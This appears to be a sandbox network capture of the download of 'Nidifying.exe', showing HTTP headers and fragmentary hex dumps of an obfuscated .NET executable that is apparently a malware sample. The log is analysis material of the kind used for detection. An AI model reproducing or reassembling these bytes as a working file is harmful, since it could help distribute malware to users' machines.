2022-01-14 03:59:13 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 14 Jan 2022 03:59:13 GMT Content-Type: application/x-msdos-program Content-Length: 537088 Connection: close CF-Ray: 6cd3f34f0c2d7033-FRA Accept-Ranges: bytes Age: 300797 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Nidifying.exe ETag: "d7df01d8158bfaddc8ba48390e52f355" Expires: Sat, 14 Jan 2023 03:59:13 GMT Last-Modified: Mon, 10 Jan 2022 16:21:03 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1641831663140006 x-goog-hash: crc32c=9zjujw== x-goog-hash: md5=198B2BWL+t3Iukg5DlLzVQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 537088 X-GUploader-UploadID: ADPycdtAUXQOPbnIyWc7HwHE6Jjoo94_slb40xzLLQFjYJIeziMw89M1kSl2_68qrqD8x5Zob-f_ZoOlPr3MafIQeS5oJXYR_w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2022-01-14 03:59:13 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 36 73 31 78 6b 54 43 58 49 4f 44 30 62 78 68 33 5a 59 4b 78 53 75 34 7a 45 49 25 32 46 55 6a 45 4e 25 32 46 66 57 4a 61 73 78 78 75 6d 72 56 4b 53 70 75 77 7a 76 61 41 58 32 6a 74 70 5a 4e 55 54 55 45 74 39 47 5a 7a 54 73 70 5a 4d 6c 44 34 35 53 6f 6e 30 54 42 61 6d 67 43 4f 37 75 70 52 33 35 41 77 4a 54 4c 35 6a 30 52 4c 71 4f 6e 57 42 72 43 61 50 37 76 57 43 66 53 4a 36 43 72 75 32 73 5a 38 75 79 58 25 32 46 6e 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6s1xkTCXIOD0bxh3ZYKxSu4zEI%2FUjEN%2FfWJasxxumrVKSpuwzvaAX2jtpZNUTUEt9GZzTspZMlD45Son0TBamgCO7upR35AwJTL5j0RLqOnWBrCaP7vWCfSJ6Cru2sZ8uyX%2FnA%3D%3D"}],"group":"cf-nel","max_age":
2022-01-14 03:59:13 UTC	2	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 79 2a a2 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 2a 08 00 00 06 00 00 00 00 00 00 ae 49 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?y0I `@ @
2022-01-14 03:59:13 UTC	3	IN	Data Raw: 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 0e 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 03 30 03 00 42 00 00 00 00 00 00 00 28 a9 00 00 06 38 01 00 00 00 2a 28 5e 01 00 06 38 00 00 00 Data Ascii: ((0(((((((((((((((((0*0B(8(^8
2022-01-14 03:59:13 UTC	4	IN	Data Raw: 06 12 03 11 04 11 05 11 06 17 1b 1f 11 06 28 93 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0b 1f 0e 1f 13 06 28 93 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1b 1b 1f 15 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0a 1f 09 1f 16 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0f 1f 0e 1f 17 06 28 93 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 09 1b 1f 19 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0e 1f 09 1f 1a 06 28 93 00 00 06 12 05 11 06 09 11 04 19 1f 0e 1f 1b 06 28 93 00 00 06 12 04 11 05 11 06 09 1e 1f 14 1f 1c 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 0d 1b 1f 1d 06 28 93 00 00 06 12 06 09 11 04 11 05 18 1f 09 1f 1e 06 28 Data Ascii: ((((((((((((((
2022-01-14 03:59:13 UTC	6	IN	Data Raw: 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 60 05 11 07 17 58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 a1 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 00 06 16 3e 49 00 00 00 11 04 11 06 61 13 0e 16 13 0f 38 2d 00 00 00 11 0f 16 3e 0c 00 00 00 11 0b 1e 62 13 0b 11 0c 1e 58 13 0c 08 11 0a 11 0f 58 11 0e 11 0b 5f 11 0c 1f 1f 5f 64 d2 9c 11 0f 17 58 13 0f 11 0f 06 3f cb ff ff ff 38 49 00 00 00 11 04 11 06 61 13 10 08 11 0a 11 10 20 ff 00 00 00 5f d2 9c 08 11 0a 17 Data Ascii: Y@I>BX8#>biXY`X?8.XXbXb`Xb``%(XY@P>Ia8->bXX__dX?8Ia _
2022-01-14 03:59:13 UTC	7	IN	Data Raw: 28 00 1f 0d 64 61 fe 0e 28 00 fe 0c 28 00 fe 0c 2b 00 58 fe 0e 28 00 fe 0c 29 00 1b 62 fe 0c 29 00 58 fe 0c 29 00 61 fe 0c 28 00 58 fe 0e 28 00 fe 0c 28 00 76 6c 6d 58 13 09 11 0e 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00 11 09 11 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e 0c 00 00 00 11 10 1e 62 13 10 11 11 1e 58 13 11 11 08 11 0f 11 14 58 11 13 11 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00 00 11 09 11 0a 61 13 15 11 08 11 0f 11 15 20 ff 00 00 00 5f d2 9c 11 08 11 0f 17 58 11 15 20 00 ff 00 00 5f 1e 64 d2 9c 11 08 11 0f 18 58 11 15 20 00 00 ff 00 5f 1f 10 64 d2 9c 11 08 11 0f 19 58 11 15 20 00 00 00 ff 5f 1f 18 64 d2 9c 11 0e 17 58 13 0e 11 0e 11 07 3f 26 fd ff ff 11 08 13 05 14 13 08 11 05 8e 69 Data Ascii: (da((+X()b)X)a(X((vlmXY@S>Ka8.>bXX__dX?8Ma _X _dX _dX _dX?&i
2022-01-14 03:59:13 UTC	8	IN	Data Raw: 02 03 04 05 0e 04 0e 05 6f 30 01 00 06 13 05 38 06 00 00 00 17 80 6d 00 00 04 11 05 2a 7e 5c 00 00 04 02 03 04 05 0e 04 0e 05 6f 30 01 00 06 2a 00 00 00 0a 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 17 28 2a 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 0b 0b 00 06 0a 00 00 01 13 30 07 00 53 00 00 00 00 00 00 00 d0 51 00 00 01 28 23 00 00 0a 72 9d 0e 00 70 18 8d 24 00 00 01 25 16 d0 13 00 00 01 28 23 00 00 0a a2 25 17 d0 24 00 00 01 28 23 00 00 0a a2 28 6d 00 00 0a 14 18 8d 0a 00 00 01 25 16 02 8c 13 00 00 01 a2 25 17 03 a2 6f 6e 00 00 0a 74 4e 00 00 01 2a 00 1b 30 08 00 5c 68 00 00 12 00 00 11 20 eb 00 00 00 fe 0e 51 00 38 00 00 00 00 fe 0c 51 00 45 a9 02 00 00 04 09 00 00 cc 55 00 00 41 43 00 00 cf 1c 00 00 b0 23 00 00 63 Data Ascii: o08m~\o00(&0SQ(#rp$%(#%$(#(m%%ontN0\h Q8QEUAC#c
2022-01-14 03:59:13 UTC	10	IN	Data Raw: 00 c4 0f 00 00 f1 37 00 00 73 57 00 00 f4 07 00 00 9b 0d 00 00 8c 06 00 00 03 4f 00 00 aa 44 00 00 c3 2d 00 00 8d 38 00 00 7a 0e 00 00 78 3f 00 00 66 53 00 00 10 12 00 00 9e 09 00 00 0f 58 00 00 87 49 00 00 75 05 00 00 bc 20 00 00 02 14 00 00 c0 3e 00 00 24 45 00 00 f1 15 00 00 6b 42 00 00 89 3e 00 00 b3 09 00 00 0a 24 00 00 6a 58 00 00 4e 30 00 00 ae 32 00 00 6d 16 00 00 ce 41 00 00 c3 48 00 00 c2 37 00 00 32 29 00 00 a2 54 00 00 e9 3a 00 00 2a 1c 00 00 65 22 00 00 2f 47 00 00 b6 2c 00 00 40 44 00 00 3c 59 00 00 cc 27 00 00 de 49 00 00 a6 24 00 00 16 1b 00 00 11 14 00 00 1c 08 00 00 6c 37 00 00 d3 1f 00 00 7b 1b 00 00 e3 10 00 00 77 21 00 00 08 28 00 00 e7 0d 00 00 d8 24 00 00 90 12 00 00 47 4d 00 00 98 45 00 00 3b 08 00 00 81 30 00 00 37 28 00 00 2e 19 Data Ascii: 7sWOD-8zx?fSXIu >$EkB>$jXN02mAH72)T:*e"/G,@D<Y'I$l7{w!($GME;07(.
2022-01-14 03:59:13 UTC	11	IN	Data Raw: 87 5b 00 00 ff 15 00 00 a5 3e 00 00 0e 1f 00 00 31 3f 00 00 6d 59 00 00 7b 1a 00 00 e8 46 00 00 b9 2b 00 00 34 17 00 00 27 59 00 00 b4 36 00 00 cf 22 00 00 a0 1a 00 00 50 3f 00 00 05 51 00 00 de 58 00 00 d4 3b 00 00 13 2f 00 00 7f 28 00 00 e3 4c 00 00 8c 36 00 00 76 44 00 00 00 0c 00 00 69 43 00 00 31 21 00 00 9f 4c 00 00 08 5a 00 00 ab 13 00 00 44 51 00 00 d1 18 00 00 cf 57 00 00 49 1a 00 00 17 5b 00 00 74 17 00 00 e6 39 00 00 20 3c 00 00 c9 15 00 00 4a 48 00 00 a9 0a 00 00 cd 1b 00 00 d5 28 00 00 44 3e 00 00 8f 21 00 00 13 52 00 00 5d 44 00 00 65 3b 00 00 04 2c 00 00 ba 3f 00 00 83 07 00 00 92 1f 00 00 74 32 00 00 8f 11 00 00 7c 45 00 00 1e 11 00 00 38 ff 08 00 00 fe 0c 0a 00 20 17 00 00 00 fe 0c 40 00 9c 20 ba 01 00 00 38 3a f5 ff ff 20 99 00 00 00 20 Data Ascii: [>1?mY{F+4'Y6"P?QX;/(L6vDiC1!LZDQWI[t9 <JH(D>!R]De;,?t2\|E8 @ 8:
2022-01-14 03:59:13 UTC	12	IN	Data Raw: 03 00 00 00 38 3c fc ff ff 11 65 28 d4 00 00 06 8d 16 00 00 01 16 28 d4 00 00 06 28 f7 00 00 06 20 00 00 00 00 28 1f 01 00 06 3a 16 fc ff ff 26 20 00 00 00 00 38 0b fc ff ff dd 4d 3a 00 00 26 20 00 00 00 00 28 1f 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 30 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 1b 3a 00 00 20 33 00 00 00 28 1f 01 00 06 3a 5a f0 ff ff 26 20 3b 02 00 00 38 4f f0 ff ff fe 0c 05 00 20 08 00 00 00 20 7e 00 00 00 20 3a 00 00 00 59 9c 20 a3 01 00 00 28 1e 01 00 06 3a 2b f0 ff ff 26 20 23 00 00 00 38 20 f0 ff ff 12 08 e0 73 71 00 00 0a 16 28 c5 00 00 06 26 20 b8 00 00 00 38 07 f0 ff ff 11 75 11 1d 1a 58 11 07 1a 91 9c 20 96 00 00 00 28 1e 01 00 06 39 ed ef ff ff 26 20 65 01 00 00 38 e2 ef ff ff 11 45 17 58 13 45 20 Data Ascii: 8<e((( (:& 8M:& (:& 80E8: 3(:Z& ;8O ~ :Y (:+& #8 sq(& 8uX (9& e8EXE
2022-01-14 03:59:13 UTC	14	IN	Data Raw: 00 00 00 20 4d 00 00 00 59 fe 0e 40 00 20 92 00 00 00 38 6a eb ff ff fe 0c 0a 00 20 0c 00 00 00 fe 0c 0e 00 9c 20 ab 00 00 00 38 52 eb ff ff 11 5c 11 18 3f 98 3f 00 00 20 52 02 00 00 28 1f 01 00 06 39 3a eb ff ff 26 20 0c 02 00 00 38 2f eb ff ff fe 0c 0a 00 20 11 00 00 00 fe 0c 0e 00 9c 20 1b 01 00 00 38 17 eb ff ff 12 74 11 6f 7d 72 00 00 04 20 8b 00 00 00 38 04 eb ff ff fe 0c 0a 00 20 11 00 00 00 fe 0c 40 00 9c 20 15 02 00 00 38 ec ea ff ff 28 d4 00 00 06 1a 40 4e 05 00 00 20 33 02 00 00 28 1e 01 00 06 39 d2 ea ff ff 26 20 74 02 00 00 38 c7 ea ff ff 12 08 e0 73 71 00 00 0a 16 28 c6 00 00 06 26 20 8f 02 00 00 38 ae ea ff ff 20 96 00 00 00 20 32 00 00 00 59 fe 0e 1a 00 20 78 00 00 00 28 1f 01 00 06 3a 90 ea ff ff 26 20 8a 01 00 00 38 85 ea ff ff 11 1b 1b Data Ascii: MY@ 8j 8R\?? R(9:& 8/ 8to}r 8 @ 8(@N 3(9& t8sq(& 8 2Y x(:& 8
2022-01-14 03:59:13 UTC	15	IN	Data Raw: e6 ff ff 38 b1 13 00 00 20 4e 00 00 00 38 16 e6 ff ff 7e 66 00 00 04 28 ec 00 00 06 28 ed 00 00 06 13 58 20 63 00 00 00 fe 0e 51 00 38 f3 e5 ff ff fe 0c 05 00 20 05 00 00 00 fe 0c 1a 00 9c 20 4d 01 00 00 28 1e 01 00 06 39 da e5 ff ff 26 20 66 01 00 00 38 cf e5 ff ff 20 66 00 00 00 20 03 00 00 00 58 fe 0e 0e 00 20 c7 00 00 00 38 b6 e5 ff ff fe 0c 05 00 20 0f 00 00 00 20 65 00 00 00 20 65 00 00 00 58 9c 20 87 01 00 00 fe 0e 51 00 38 8f e5 ff ff 7f 52 00 00 04 28 72 00 00 0a 28 17 01 00 06 13 35 20 69 02 00 00 38 78 e5 ff ff fe 0c 0a 00 20 1c 00 00 00 20 af 00 00 00 20 3a 00 00 00 59 9c 20 1e 00 00 00 38 59 e5 ff ff 1f 38 17 28 ce 00 00 06 28 fc 00 00 06 28 fd 00 00 06 13 50 20 01 02 00 00 fe 0e 51 00 38 33 e5 ff ff 16 13 23 20 45 01 00 00 38 2a e5 ff ff fe Data Ascii: 8 N8~f((X cQ8 M(9& f8 f X 8 e eX Q8R(r(5 i8x :Y 8Y8(((P Q83# E8*
2022-01-14 03:59:13 UTC	16	IN	Data Raw: 20 02 00 00 00 fe 0c 0e 00 9c 20 35 00 00 00 28 1f 01 00 06 39 b6 e0 ff ff 26 20 02 00 00 00 38 ab e0 ff ff 20 d6 00 00 00 20 47 00 00 00 59 fe 0e 1a 00 20 41 01 00 00 38 92 e0 ff ff 11 75 11 20 17 58 11 07 17 91 9c 20 e4 01 00 00 38 7d e0 ff ff fe 0c 0a 00 20 17 00 00 00 fe 0c 40 00 9c 20 67 02 00 00 38 65 e0 ff ff 11 27 11 78 19 58 91 1f 18 62 11 27 11 78 18 58 91 1f 10 62 60 11 27 11 78 17 58 91 1e 62 60 11 27 11 78 91 60 13 00 20 4c 00 00 00 38 34 e0 ff ff 20 6f 00 00 00 20 4f 00 00 00 58 fe 0e 40 00 20 f1 01 00 00 28 1f 01 00 06 39 16 e0 ff ff 26 20 d7 00 00 00 38 0b e0 ff ff 20 10 00 00 00 20 0d 00 00 00 58 fe 0e 40 00 20 dd 00 00 00 38 f2 df ff ff 20 e7 00 00 00 20 4d 00 00 00 59 fe 0e 40 00 20 ad 00 00 00 38 d9 df ff ff fe 0c 0a 00 20 1c 00 00 00 Data Ascii: 5(9& 8 GY A8u X 8} @ g8e'xXb'xXb`'xXb`'x` L84 o OX@ (9& 8 X@ 8 MY@ 8
2022-01-14 03:59:13 UTC	18	IN	Data Raw: b7 00 00 00 28 1f 01 00 06 3a 68 db ff ff 26 20 60 02 00 00 38 5d db ff ff fe 0c 0a 00 20 11 00 00 00 20 aa 00 00 00 20 38 00 00 00 59 9c 20 db 01 00 00 38 3e db ff ff 11 4f 11 18 1a 5a 11 09 12 09 28 b0 00 00 06 26 20 9c 02 00 00 38 24 db ff ff 7e 4e 00 00 04 28 0c 01 00 06 13 19 20 e5 00 00 00 38 0e db ff ff 11 60 11 53 3f b1 17 00 00 20 1f 02 00 00 38 fb da ff ff fe 0c 05 00 20 0a 00 00 00 20 87 00 00 00 20 2d 00 00 00 59 9c 20 81 00 00 00 38 dc da ff ff 11 75 11 1d 1b 58 11 31 1b 91 9c 20 16 01 00 00 28 1f 01 00 06 39 c2 da ff ff 26 20 02 01 00 00 38 b7 da ff ff 16 13 6e 20 79 00 00 00 28 1f 01 00 06 3a a5 da ff ff 26 20 2f 01 00 00 38 9a da ff ff 20 9e 00 00 00 20 34 00 00 00 59 fe 0e 0e 00 20 86 02 00 00 28 1e 01 00 06 3a 7c da ff ff 26 20 e4 01 00 Data Ascii: (:h& `8] 8Y 8>OZ(& 8$~N( 8`S? 8 -Y 8uX1 (9& 8n y(:& /8 4Y (:\|&
2022-01-14 03:59:13 UTC	19	IN	Data Raw: f4 00 00 06 25 17 28 f5 00 00 06 11 27 11 13 28 f6 00 00 06 13 3d 20 88 02 00 00 38 fd d5 ff ff fe 0c 0a 00 20 02 00 00 00 fe 0c 40 00 9c 20 52 01 00 00 38 e5 d5 ff ff 11 4c 73 76 00 00 0a 28 d4 00 00 06 1f 40 12 67 28 b0 00 00 06 26 20 59 01 00 00 38 c5 d5 ff ff 20 3e 00 00 00 20 5f 00 00 00 58 fe 0e 0e 00 20 16 00 00 00 28 1e 01 00 06 39 a7 d5 ff ff 26 20 a7 01 00 00 38 9c d5 ff ff fe 0c 05 00 20 01 00 00 00 fe 0c 1a 00 9c 20 76 02 00 00 38 84 d5 ff ff 38 04 26 00 00 20 eb 01 00 00 38 75 d5 ff ff fe 0c 05 00 20 0d 00 00 00 fe 0c 2c 00 9c 20 13 00 00 00 28 1e 01 00 06 39 58 d5 ff ff 26 20 40 01 00 00 38 4d d5 ff ff 11 23 13 23 20 f4 01 00 00 38 3f d5 ff ff 11 75 11 1d 1c 58 11 31 1c 91 9c 20 85 00 00 00 38 2a d5 ff ff fe 0c 05 00 20 00 00 00 00 20 97 00 Data Ascii: %('(= 8 @ R8Lsv(@g(& Y8 > _X (9& 8 v88& 8u , (9X& @8M## 8?uX1 8*
2022-01-14 03:59:13 UTC	20	IN	Data Raw: 00 00 20 47 00 00 00 59 9c 20 6b 00 00 00 38 b1 d0 ff ff 11 6d 28 f3 00 00 06 13 48 20 34 00 00 00 28 1f 01 00 06 39 99 d0 ff ff 26 20 11 00 00 00 38 8e d0 ff ff 28 d3 00 00 06 20 a5 01 00 00 38 7f d0 ff ff 11 13 1f 0d 11 58 1c 91 9c 20 14 00 00 00 28 1e 01 00 06 39 67 d0 ff ff 26 20 36 02 00 00 38 5c d0 ff ff 11 75 11 1d 18 58 11 07 18 91 9c 20 2b 00 00 00 28 1f 01 00 06 3a 42 d0 ff ff 26 20 3a 00 00 00 38 37 d0 ff ff 00 11 36 28 d7 00 00 06 28 d8 00 00 06 13 62 20 01 00 00 00 28 1f 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 4e 00 45 02 00 00 00 31 02 00 00 05 00 00 00 38 2c 02 00 00 00 38 74 00 00 00 20 02 00 00 00 38 04 00 00 00 fe 0c 2b 00 45 0a 00 00 00 39 00 00 00 09 01 00 00 89 00 00 00 d0 00 00 00 14 00 00 00 5f 00 00 00 05 00 Data Ascii: GY k8m(H 4(9& 8( 8X (9g& 68\uX +(:B& :876((b (9& 8NE18,8t 8+E9_
2022-01-14 03:59:13 UTC	22	IN	Data Raw: 01 00 00 00 38 b8 ff ff ff 16 13 57 20 05 00 00 00 38 ab ff ff ff 12 5d 28 72 00 00 0a 7e 6b 00 00 04 40 bc ff ff ff 20 02 00 00 00 38 90 ff ff ff 38 47 00 00 00 20 00 00 00 00 28 1f 01 00 06 3a 7c ff ff ff 26 20 00 00 00 00 38 71 ff ff ff 11 62 28 d9 00 00 06 74 52 00 00 01 28 d0 00 00 06 13 5d 20 04 00 00 00 28 1f 01 00 06 39 4f ff ff ff 26 20 00 00 00 00 38 44 ff ff ff dd 9a 00 00 00 11 62 75 55 00 00 01 13 3a 20 02 00 00 00 28 1f 01 00 06 39 0f 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe 0c 5a 00 45 03 00 00 00 05 00 00 00 47 00 00 00 26 00 00 00 38 00 00 00 00 11 3a 28 e5 00 00 06 20 01 00 00 00 28 1f 01 00 06 3a d4 ff ff ff 26 20 01 00 00 00 38 c9 ff ff ff 11 3a 39 1a 00 00 00 20 00 00 00 00 28 1f 01 00 06 3a b3 ff ff ff 26 20 00 00 00 00 38 a8 ff Data Ascii: 8W 8](r~k@ 88G (:\|& 8qb(tR(] (9O& 8DbuU: (9& 8ZEG&8:( (:& 8:9 (:& 8
2022-01-14 03:59:13 UTC	23	IN	Data Raw: 00 20 bc 00 00 00 20 3e 00 00 00 59 9c 20 77 00 00 00 28 1f 01 00 06 3a f6 c5 ff ff 26 20 7d 00 00 00 38 eb c5 ff ff fe 0c 0a 00 20 0f 00 00 00 fe 0c 40 00 9c 20 aa 01 00 00 38 d3 c5 ff ff 12 08 e0 73 71 00 00 0a 16 7e 0a 00 00 0a 28 c8 00 00 06 20 55 00 00 00 38 b6 c5 ff ff fe 0c 0a 00 20 06 00 00 00 fe 0c 0e 00 9c 20 d5 00 00 00 28 1e 01 00 06 3a 99 c5 ff ff 26 20 c6 00 00 00 38 8e c5 ff ff fe 0c 05 00 20 00 00 00 00 fe 0c 2c 00 9c 20 96 00 00 00 38 76 c5 ff ff fe 0c 0a 00 20 04 00 00 00 fe 0c 0e 00 9c 20 75 01 00 00 38 5e c5 ff ff 11 4b 20 f1 f2 f3 f4 40 8d e6 ff ff 20 96 01 00 00 38 48 c5 ff ff 20 ea 00 00 00 20 4e 00 00 00 59 fe 0e 0e 00 20 93 02 00 00 38 2f c5 ff ff 20 1a 00 00 00 20 3f 00 00 00 58 fe 0e 1a 00 20 c4 00 00 00 38 16 c5 ff ff 14 13 3b Data Ascii: >Y w(:& }8 @ 8sq~( U8 (:& 8 , 8v u8^K @ 8H NY 8/ ?X 8;
2022-01-14 03:59:13 UTC	24	IN	Data Raw: 00 06 11 0c 28 dd 00 00 06 28 e0 00 00 06 11 0c 28 dd 00 00 06 28 e1 00 00 06 73 78 00 00 0a 13 76 20 04 00 00 00 28 1f 01 00 06 39 23 fe ff ff 26 20 04 00 00 00 38 18 fe ff ff 11 76 11 77 28 e2 00 00 06 3a 79 fe ff ff 20 09 00 00 00 fe 0e 52 00 38 f8 fd ff ff dd df 09 00 00 11 62 75 55 00 00 01 13 3a 20 03 00 00 00 38 04 00 00 00 fe 0c 42 00 45 04 00 00 00 26 00 00 00 66 00 00 00 47 00 00 00 05 00 00 00 38 21 00 00 00 11 3a 3a 1a 00 00 00 20 00 00 00 00 28 1e 01 00 06 39 d0 ff ff ff 26 20 02 00 00 00 38 c5 ff ff ff 11 3a 28 e5 00 00 06 20 01 00 00 00 28 1f 01 00 06 39 af ff ff ff 26 20 00 00 00 00 38 a4 ff ff ff 38 1a 00 00 00 20 00 00 00 00 28 1e 01 00 06 39 90 ff ff ff 26 20 00 00 00 00 38 85 ff ff ff dc 20 b3 01 00 00 28 1f 01 00 06 3a bb bf ff ff 26 Data Ascii: ((((sxv (9#& 8vw(:y R8buU: 8BE&fG8!:: (9& 8:( (9& 88 (9& 8 (:&
2022-01-14 03:59:13 UTC	26	IN	Data Raw: 00 00 58 9c 20 8b 01 00 00 28 1e 01 00 06 39 4d bb ff ff 26 20 68 02 00 00 38 42 bb ff ff fe 0c 0a 00 20 0c 00 00 00 20 77 00 00 00 20 14 00 00 00 58 9c 20 be 00 00 00 28 1f 01 00 06 3a 1e bb ff ff 26 20 9d 01 00 00 38 13 bb ff ff 11 1b 17 1f 6c 9c 20 97 01 00 00 38 03 bb ff ff fe 0c 05 00 20 04 00 00 00 20 4e 00 00 00 20 18 00 00 00 59 9c 20 0e 00 00 00 28 1f 01 00 06 3a df ba ff ff 26 20 97 00 00 00 38 d4 ba ff ff fe 0c 0a 00 20 09 00 00 00 fe 0c 40 00 9c 20 cb 00 00 00 28 1f 01 00 06 39 b7 ba ff ff 26 20 7c 00 00 00 38 ac ba ff ff fe 0c 05 00 20 08 00 00 00 20 7f 00 00 00 20 2a 00 00 00 59 9c 20 32 02 00 00 38 8d ba ff ff fe 0c 0a 00 20 00 00 00 00 20 de 00 00 00 20 4a 00 00 00 59 9c 20 2c 01 00 00 38 6e ba ff ff 20 18 00 00 00 20 0f 00 00 00 59 fe 0e Data Ascii: X (9M& h8B w X (:& 8l 8 N Y (:& 8 @ (9& \|8 *Y 28 JY ,8n Y
2022-01-14 03:59:13 UTC	27	IN	Data Raw: fe 0c 0a 00 20 15 00 00 00 fe 0c 0e 00 9c 20 19 00 00 00 28 1e 01 00 06 39 ea b5 ff ff 26 20 15 01 00 00 38 df b5 ff ff 1f 10 13 20 20 57 02 00 00 38 d1 b5 ff ff 28 05 01 00 06 11 1b 28 06 01 00 06 13 21 20 29 01 00 00 38 b9 b5 ff ff fe 0c 05 00 20 09 00 00 00 fe 0c 1a 00 9c 20 46 01 00 00 fe 0e 51 00 38 99 b5 ff ff 20 8d 00 00 00 20 2f 00 00 00 59 fe 0e 2c 00 20 60 00 00 00 28 1f 01 00 06 39 7f b5 ff ff 26 20 25 00 00 00 38 74 b5 ff ff fe 0c 05 00 20 0e 00 00 00 20 26 00 00 00 20 15 00 00 00 59 9c 20 2e 00 00 00 38 55 b5 ff ff 20 eb 00 00 00 20 4e 00 00 00 59 fe 0e 1a 00 20 21 00 00 00 28 1f 01 00 06 3a 37 b5 ff ff 26 20 a4 00 00 00 38 2c b5 ff ff 7e 0a 00 00 0a 13 26 20 6b 00 00 00 28 1e 01 00 06 39 16 b5 ff ff 26 20 d1 00 00 00 38 0b b5 ff ff fe 0c 0a Data Ascii: (9& 8 W8((! )8 FQ8 /Y, `(9& %8t & Y .8U NY !(:7& 8,~& k(9& 8
